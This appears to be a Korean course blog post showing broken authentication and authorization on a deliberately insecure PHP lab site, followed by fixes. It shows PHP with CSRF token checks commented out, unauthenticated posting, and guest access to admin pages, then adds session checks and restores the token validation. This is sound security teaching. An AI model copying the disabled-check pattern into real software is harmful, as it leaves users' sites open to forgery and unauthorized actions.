&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcH1J0/btsMyRWp2Dj/vfHctOHuMuJwVjCzxhB7W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcH1J0/btsMyRWp2Dj/vfHctOHuMuJwVjCzxhB7W0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcH1J0/btsMyRWp2Dj/vfHctOHuMuJwVjCzxhB7W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcH1J0%2FbtsMyRWp2Dj%2FvfHctOHuMuJwVjCzxhB7W0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;252&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 에 page=write 를 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 로그인하지 않아도 게시글 작성 페이지로 접속되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;863&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cm7jmJ/btsMx6NvfWO/BNoe6gs3N7ZOOiw0ygabm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cm7jmJ/btsMx6NvfWO/BNoe6gs3N7ZOOiw0ygabm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cm7jmJ/btsMx6NvfWO/BNoe6gs3N7ZOOiw0ygabm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcm7jmJ%2FbtsMx6NvfWO%2FBNoe6gs3N7ZOOiw0ygabm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;863&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;863&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 전 CSRF Token 검증 로직을 주석 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 CSRF Token 검증 로직 주석 처리 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740716164573&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	# CSRF Token 검증 로직
	/*
	$csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
	$csrf_token_param = $_REQUEST[&quot;csrf_token&quot;];
	unset($_SESSION[&quot;csrf_token&quot;]);

	if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}
	*/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;page=write 에서 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNG7xI/btsMx2j7qlY/vSv9kymhreUGdHlWXFGKck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNG7xI/btsMx2j7qlY/vSv9kymhreUGdHlWXFGKck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNG7xI/btsMx2j7qlY/vSv9kymhreUGdHlWXFGKck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNG7xI%2FbtsMx2j7qlY%2FvSv9kymhreUGdHlWXFGKck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;854&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 로그인을 하지 않고도 게시글 작성이 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 아이디가 없는 상태로 게시글이 작성된 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cT9luR/btsMytO7TGf/x7I7LIhZe3y7WDs2Ut63P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cT9luR/btsMytO7TGf/x7I7LIhZe3y7WDs2Ut63P0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cT9luR/btsMytO7TGf/x7I7LIhZe3y7WDs2Ut63P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcT9luR%2FbtsMytO7TGf%2Fx7I7LIhZe3y7WDs2Ut63P0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;468&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddo6sP/btsMzgPcwEp/AZMCdfmrIq1SkwZvnLhGc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddo6sP/btsMzgPcwEp/AZMCdfmrIq1SkwZvnLhGc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddo6sP/btsMzgPcwEp/AZMCdfmrIq1SkwZvnLhGc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fddo6sP%2FbtsMzgPcwEp%2FAZMCdfmrIq1SkwZvnLhGc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;595&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Form 페이지에 접근이 되는 것은 괜찮지만, Form 페이지에서 작성 시 실제로 게시글이 작성되는 것이 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( action 페이지에서 회원 유무에 대한 인증 검증 절차가 필요하다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 관리자만 접근이 가능했던 페이지들도 로그인을 하지 않은 상태로 접근이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/index.php?page=pingcheck&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/index.php?page=xmlparser&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfslXP/btsMyGU7Gzh/sX2gJ7JtMkk9BjGTOvNi91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfslXP/btsMyGU7Gzh/sX2gJ7JtMkk9BjGTOvNi91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfslXP/btsMyGU7Gzh/sX2gJ7JtMkk9BjGTOvNi91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfslXP%2FbtsMyGU7Gzh%2FsX2gJ7JtMkk9BjGTOvNi91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;450&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인하지 않은 상태로 해당 페이지들에 접근해본다. ( pingcheck, xmlparser )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;469&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dn7ECp/btsMxjT7sTD/N9axQmF2N41JmgpbNpVCBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dn7ECp/btsMxjT7sTD/N9axQmF2N41JmgpbNpVCBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dn7ECp/btsMxjT7sTD/N9axQmF2N41JmgpbNpVCBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdn7ECp%2FbtsMxjT7sTD%2FN9axQmF2N41JmgpbNpVCBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;469&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;469&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L4OF5/btsMAvkz6WG/JDlqZvfjk7jozitKz4IxYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L4OF5/btsMAvkz6WG/JDlqZvfjk7jozitKz4IxYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L4OF5/btsMAvkz6WG/JDlqZvfjk7jozitKz4IxYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL4OF5%2FbtsMAvkz6WG%2FJDlqZvfjk7jozitKz4IxYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;561&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 비회원인 상태로 관리자만 접근 가능한 페이지에 접근이 가능한 것을 확인할 수 있다. (인증 부분 취약)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 라는 임의의 계정을 생성하고 해당 페이지들에 접근을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 비회원과 동일하게 해당 페이지에 접근 가능한 것을 확인할 수 있다. (인가 부분 취약)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6gHF2/btsMx2EkIaG/npqN3WX2oyJmrFalkXg6oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6gHF2/btsMx2EkIaG/npqN3WX2oyJmrFalkXg6oK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6gHF2/btsMx2EkIaG/npqN3WX2oyJmrFalkXg6oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6gHF2%2FbtsMx2EkIaG%2FnpqN3WX2oyJmrFalkXg6oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;448&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3YYba/btsMztgArJW/hownQvmEu7UPGvdXLdXsMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3YYba/btsMztgArJW/hownQvmEu7UPGvdXLdXsMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3YYba/btsMztgArJW/hownQvmEu7UPGvdXLdXsMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3YYba%2FbtsMztgArJW%2FhownQvmEu7UPGvdXLdXsMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;556&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 페이지들은 인증, 인가 둘다 취약하므로 해당 페이지들은 관리자만 아니면 아예 접근할 수 없도록 검증이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;* 취약한 기능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게시글 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- pingcheck&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- xmlparser&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 게시판을 많이 타겟으로 한다. (공지사항, 관리자 페이지 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공지사항은 인가 부분에 해당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 로그인 상태에서 관리자가 아니면 작성 버튼이 없다. - 관리자가 아닌데 공지사항을 작성 하는 부분을 노린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서는 공지사항 진단 시 담당자와 협의하에 진행할 필요가 있다. (공지사항 작성 시 모바일로 전체 공지 알람이 발생할 수 있기 때문에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 사이트마다 성격이 다르기 때문에 각각 상황에 따라 알맞게 취약점 진단이 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSCRIT/btsMx4933TB/Kw5RYqKlsVpk6IKk7c0jIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSCRIT/btsMx4933TB/Kw5RYqKlsVpk6IKk7c0jIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSCRIT/btsMx4933TB/Kw5RYqKlsVpk6IKk7c0jIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSCRIT%2FbtsMx4933TB%2FKw5RYqKlsVpk6IKk7c0jIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1395&quot; height=&quot;802&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 인증 및 인가가 필요한 페이지에 대해서 접근 제한에 대한 로직이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 회원 전용 페이지, 관리자 페이지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 전용 페이지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 비회원 접근 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 페이지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자 외 접근 불가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;821&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDZ9Qw/btsMxrYTyEk/TayQUqS5lgc3MOabk6CaeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDZ9Qw/btsMxrYTyEk/TayQUqS5lgc3MOabk6CaeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDZ9Qw/btsMxrYTyEk/TayQUqS5lgc3MOabk6CaeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDZ9Qw%2FbtsMxrYTyEk%2FTayQUqS5lgc3MOabk6CaeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;821&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;821&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 할 때 세션에 ID 값을 부여하게 되는데, 세션 ID 가 없으면 비회원이라는 의미이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 ID 를 받아서 빈 값이면 비정상으로 판단.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;821&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wkuTg/btsMx9pRrJs/elIFrkpxOWx7IHgMm9FOt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wkuTg/btsMx9pRrJs/elIFrkpxOWx7IHgMm9FOt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wkuTg/btsMx9pRrJs/elIFrkpxOWx7IHgMm9FOt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwkuTg%2FbtsMx9pRrJs%2FelIFrkpxOWx7IHgMm9FOt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1173&quot; height=&quot;821&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;821&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 페이지에 권한이 없으면 접근 불가하도록 소스코드 작성 (특정 권한이 여러 개 있는 경우)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 일반 사용자, 관리자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습10-2 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php / pingcheck.php / xmlparser.php / write.php&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;* 취약한 기능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게시글 작성 (action.php, write.php) &amp;rarr; 인증&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- pingcheck (pingcheck.php)&amp;nbsp; &amp;rarr; 인증, 인가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- xmlparser (xmlparser.php) &amp;rarr; 인증, 인가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 부분에 시큐어 코딩을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 에 인증 로직 및 CSRF Token 검증 로직 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740718852116&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	# 인증 기능
	if(empty($_SESSION[&quot;id&quot;])) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
	$csrf_token_param = $_REQUEST[&quot;csrf_token&quot;];
	unset($_SESSION[&quot;csrf_token&quot;]);

	if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 인증 기능은 각 페이지에 따로따로 넣는 것이 아니라, 공통된 페이지(common.php 등)에 한번에 적용하는 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action 페이지에 권한이 없는 사용자가 접근하게 된다면 로그인 페이지로 리다이렉트되는 코드이다.&lt;/p&gt;
